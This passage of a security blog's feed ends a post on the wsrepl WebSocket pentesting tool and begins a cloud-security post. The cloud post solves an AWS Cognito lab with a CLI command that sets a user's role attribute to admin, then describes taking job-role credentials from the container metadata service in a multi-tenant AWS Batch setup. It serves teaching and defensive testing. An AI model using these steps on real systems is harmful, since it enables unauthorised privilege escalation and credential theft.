&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;wsrepl.WSMessage&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WSMessage&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Demo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Demo plugin that dynamically acquires authentication token.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Here we simulate an API request to get a session token by supplying a username and password.
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# For the demo, we're using a dummy endpoint &quot;https://hb.cran.dev/uuid&quot; that returns a UUID.
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# In a real-life scenario, replace this with your own authentication endpoint and provide necessary credentials.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://hb.cran.dev/uuid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;uuid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# The acquired session token is then used to populate self.messages with an authentication message.
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# The exact format of this message will depend on your WebSocket server requirements.
&lt;/span&gt;        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dumps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;auth&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;sessionId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The plugin system is designed to be as flexible as possible. You can define hooks that are executed at various stages of the WebSocket lifecycle. For instance, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;on_message_sent&lt;/code&gt; to modify messages before they are sent to the server, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;on_message_received&lt;/code&gt; to parse and extract meaningful data from the server’s responses. The full list of hooks is as follows:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wsrepl-hooks-mermaid.png&quot; alt=&quot;Order of wsrepl hook execution&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 100%;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;customizing-the-repl-ui&quot;&gt;Customizing the REPL UI&lt;/h2&gt;

&lt;p&gt;The true triumph of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; lies in its capacity to automate even the most complicated protocols. It is easy to add custom serialization routines, allowing you to focus on the stuff that matters.&lt;/p&gt;

&lt;p&gt;Say you’re dealing with a protocol that uses JSON for data serialization, and you’re only interested in a single field within that data structure. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; allows you to hide all the boilerplate, yet preserve the option to retrieve the raw data when necessary.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;wsrepl&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;wsrepl.WSMessage&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WSMessage&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Demo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;on_message_sent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WSMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Grab the original message entered by the user
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Prepare a more complex message structure that our server requires.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dumps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Short and long versions of the message are used for display purposes in REPL UI.
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# By default they are the same as 'message.msg', but here we modify them for better UX.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;on_message_received&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WSMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Get the original message received from the server
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# Try to parse the received message and extract meaningful data.
&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# The exact structure here will depend on your websocket server's responses.
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# In case of a parsing error, let's inform the user about it in the history view.
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Error: could not parse message&quot;&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Show the original message when the user focuses on it in the UI.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In conclusion, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; is designed to make your WebSocket pentesting life easier. It’s the perfect blend of an interactive REPL experience with the ease of automation. It may not be the magical solution to every challenge you’ll face in pentesting WebSockets, but it is a powerful tool in your arsenal. &lt;a href=&quot;https://github.com/doyensec/wsrepl&quot;&gt;Give it a try&lt;/a&gt; and let us know your experiences!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Messing Around With AWS Batch For Privilege Escalations</title>
   <link href="https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"/>
   <updated>2023-06-13T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cloudsectidbit-logo200.jpg&quot; alt=&quot;CloudsecTidbit&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;from-the-previous-episode-have-you-solved-the-cloudsectidbit-ep-2-iac-lab&quot;&gt;From The Previous Episode… Have you solved the CloudSecTidbit Ep. 2 IaC lab?&lt;/h3&gt;

&lt;h4 id=&quot;solution&quot;&gt;Solution&lt;/h4&gt;

&lt;p&gt;The challenge for the &lt;a href=&quot;https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito.html&quot;&gt;AWS Cognito&lt;/a&gt; CloudSecTidbit is basically escalating the privileges to admin and reading the internal users list.&lt;/p&gt;

&lt;p&gt;The application uses AWS Cognito to issue a session token saved as a cookie with the name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws-cognito-app-access-token&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The JWT is a valid AWS Cognito user token, usable to interact with the service.
It is possible to retrieve the current user attributes with the command:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws cognito-idp get-user &lt;span class=&quot;nt&quot;&gt;--region&lt;/span&gt; us-east-1 &lt;span class=&quot;nt&quot;&gt;--access-token&lt;/span&gt; &amp;lt;USER_ACCESS_TOKEN&amp;gt;
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;Username&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;francesco&quot;&lt;/span&gt;,
    &lt;span class=&quot;s2&quot;&gt;&quot;UserAttributes&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;Name&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;sub&quot;&lt;/span&gt;,
            &lt;span class=&quot;s2&quot;&gt;&quot;Value&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;5139e6e7-7a37-4e6e-9304-8c32973e4ac0&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;Name&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;email_verified&quot;&lt;/span&gt;,
            &lt;span class=&quot;s2&quot;&gt;&quot;Value&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;true&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;Name&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;name&quot;&lt;/span&gt;,
            &lt;span class=&quot;s2&quot;&gt;&quot;Value&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;francesco&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;Name&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;custom:Role&quot;&lt;/span&gt;,
            &lt;span class=&quot;s2&quot;&gt;&quot;Value&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s2&quot;&gt;&quot;Name&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;email&quot;&lt;/span&gt;,
            &lt;span class=&quot;s2&quot;&gt;&quot;Value&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;dummy@doyensec.com&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then, because of the default READ/WRITE permissions on the user attributes, the attacker is able to tamper with the &lt;em&gt;custom:Role&lt;/em&gt; attribute and set it to &lt;em&gt;admin&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws &lt;span class=&quot;nt&quot;&gt;--region&lt;/span&gt; us-east-1 cognito-idp update-user-attributes &lt;span class=&quot;nt&quot;&gt;--user-attributes&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Name=custom:Role,Value=admin&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--access-token&lt;/span&gt; &amp;lt;USER_ACCESS_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After that, by refreshing the authenticated tab, the user is now recognized as an admin.&lt;/p&gt;
&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 60%;&quot; src=&quot;/public/images/cognito-lab-solution.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;That happens because the vulnerable platform trusts the &lt;em&gt;custom:Role&lt;/em&gt; attribute to evaluate the authorization level of the user.&lt;/p&gt;

&lt;h2 id=&quot;tidbit-no-3---messing-around-with-aws-batch-for-privilege-escalations&quot;&gt;Tidbit No. 3 - Messing around with AWS Batch For Privilege Escalations&lt;/h2&gt;

&lt;h3 id=&quot;q-what-is-aws-batch&quot;&gt;Q: What is AWS Batch?&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;A set of batch management capabilities that enable developers, scientists, and engineers to easily and efficiently run hundreds of thousands of batch computing jobs on AWS.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;AWS Batch dynamically provisions the optimal quantity and type of compute resources (e.g. CPU or memory optimized compute resources) based on the volume and specific resource requirements of the batch jobs submitted.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;With AWS Batch, there is no need to install and manage batch computing software or server clusters, allowing you to instead focus on analyzing results and solving problems&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;AWS Batch plans, schedules, and executes your batch computing workloads using Amazon EC2 (available with Spot Instances) and AWS compute resources with AWS Fargate or Fargate Spot.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Summarizing the previous points, it is a self-managed and self-scaling scheduler for tasks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Its main components are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jobs&lt;/code&gt;. The unit of work, they can be shell scripts, executables, or a container image submitted to AWS Batch.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Job definitions&lt;/code&gt;. They are blueprints for the tasks. It is possible to grant them IAM roles to access AWS resources, set their memory and CPU requirements and even control container properties like environment variables or mount points for persistent storage&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Job Queues&lt;/code&gt;. Submitted jobs are stacked in queues until they are scheduled onto a compute environment. Job queues can be associated with multiple compute environments and configured with different priority values.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Compute environments&lt;/code&gt;.  Sets of managed or unmanaged compute resources that are usable to run jobs. With managed compute environments, you can choose the desired compute type (Fargate, EC2 and EKS) and deeply configure its resources. AWS Batch launches, manages, and terminates compute types as needed. You can also manage your own compute environments, but you’re responsible for setting up and scaling the instances in an Amazon ECS cluster that AWS Batch creates for you.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The scheme below (taken from the AWS documentation) shows the workflow for the service.&lt;/p&gt;
&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 90%;&quot; src=&quot;/public/images/aws-batch-how-it-works.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;
&lt;p&gt;After a first look at AWS Batch basics, we can introduce the core differences in the managed compute environment types.&lt;/p&gt;

&lt;h2 id=&quot;orchestration-types-in-managed-compute-environments&quot;&gt;Orchestration Types In Managed Compute Environments&lt;/h2&gt;

&lt;h4 id=&quot;fargate&quot;&gt;Fargate&lt;/h4&gt;

&lt;p&gt;AWS Batch jobs can run on AWS Fargate resources. AWS Fargate uses Amazon ECS to run containers and orchestrates their lifecycle.&lt;/p&gt;

&lt;p&gt;This configuration fits cases where it is not needed to have control over the host machine running the container task. All the logic is embedded in the task and there is no need to add context from the host machine.&lt;/p&gt;

&lt;h4 id=&quot;ec2&quot;&gt;EC2&lt;/h4&gt;

&lt;p&gt;AWS Batch jobs can run on Amazon EC2 instances. It allows particular instance configurations like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Settings for vCPUs, memory and/or GPU&lt;/li&gt;
  &lt;li&gt;Custom Amazon Machine Image (AMI) with launch templates&lt;/li&gt;
  &lt;li&gt;Custom environment parameters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This configuration fits scenarios where it is necessary to customize and control the containers’ host environment. As example, you may need to mount an Elastic File System (EFS) and share some folders with the running jobs.&lt;/p&gt;

&lt;h4 id=&quot;eks&quot;&gt;EKS&lt;/h4&gt;

&lt;p&gt;AWS Batch doesn’t create, administer, or perform lifecycle operations of the EKS clusters. AWS Batch orchestration scales up and down nodes managed by AWS Batch and runs pods on those nodes.&lt;/p&gt;

&lt;p&gt;The logic conditions are similar to the ECS case.&lt;/p&gt;

&lt;h2 id=&quot;running-tasks-with-two-metadata-services--two-roles---the-unwanted-role-exposition-case&quot;&gt;Running Tasks With Two Metadata Services &amp;amp; Two Roles - The Unwanted Role Exposition Case&lt;/h2&gt;

&lt;p&gt;While testing a multi-tenant platform, we managed to leverage AWS Batch to compromise the cloud environment and perform privilege escalation.&lt;/p&gt;

&lt;p&gt;The single tenants were using AWS Batch to execute some computational work given a certain input to be processed (tenant data).&lt;/p&gt;

&lt;p&gt;The task jobs of all tenants were initialized and executed using the EC2 orchestration type, hence, all batch containers were running the same task-runner EC2 instances.&lt;/p&gt;

&lt;p&gt;The scheme below describes the observed scenario at a high-level.&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 90%;&quot; src=&quot;/public/images/batch-case-diagram.jpg&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The tenant data (input) was mounted on the EC2 spot instance prior to the execution with &lt;em&gt;Elastic File System (EFS)&lt;/em&gt;. As can be seen in the design scheme, the specific tenant input data was shared to batch job containers via precise shared folders.&lt;/p&gt;

&lt;p&gt;This might seem as a secure and well-isolated environment, but &lt;em&gt;it wasn’t.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In order to illustrate the final exploitation, a few IAM concepts about the vulnerable context must be explained:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Within the described design, the compute environment EC2 spot instances needed a specific role with highly privileged permissions to manage multiple services, including EFS to mount customers’ data&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The task containers (batch jobs) had an execution role with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;batch:RegisterJobDefinition&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;batch:SubmitJob&lt;/code&gt; permissions.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;the-testing-phase&quot;&gt;The Testing Phase&lt;/h3&gt;

&lt;p&gt;So, during testing we have obviously tried to execute code on the jobs to get access to some internal AWS credentials. Since the Instance Metadata Service (IMDS v2) was network restricted in the running containers, it was not possible to have an easy win by reaching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;169.254.169.254&lt;/code&gt; (IMDS IP).&lt;/p&gt;

&lt;p&gt;Nevertheless, containers running in ECS and EKS have the Container Metadata Service (CMDS) running and reachable at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;169.254.170.2&lt;/code&gt; (did you know?). It is literally the doppelganger of the IMDS service, but for containers and pods in AWS.&lt;/p&gt;

&lt;p&gt;Thanks to it, we were able to gather information about the running task. By looking at the AWS documentation, you can learn more about the many environment variables exposed to the running container. Among them, there is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AWS_CONTAINER_CREDENTIALS_RELATIVE_URI&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In fact, the CMDS protects users against SSRF interactions by setting a dynamic credential endpoint saved as an environmental variable. By doing so, basic SSRFs cannot find out the pseudo-random part in it and retrieve credentials.&lt;/p&gt;

&lt;p&gt;The screenshot below shows an interaction with the CMDS to get the credentials from a running container (our execution context).&lt;/p&gt;
&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 90%;&quot; src=&quot;/public/images/batch-ecs-job.jpg&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;At this point, we had the credentials for the ecs-role owned by the running jobs.&lt;/p&gt;

&lt;p&gt;Among the ECS-related execution permissions, it had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RegisterJobDefinition&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SubmitJob&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DescribeJobQueues&lt;/code&gt; for the AWS Batch service.&lt;/p&gt;

&lt;p&gt;Since the basic threat model assumed that users had command execution on the running containers, a certain level of control over the job definitions was not an issue.&lt;/p&gt;

&lt;p&gt;Hence, having the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RegisterJobDefinition&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SubmitJob&lt;/code&gt; permissions exposed in the user-controlled context was not considered a vulnerability in the first place.&lt;/p&gt;

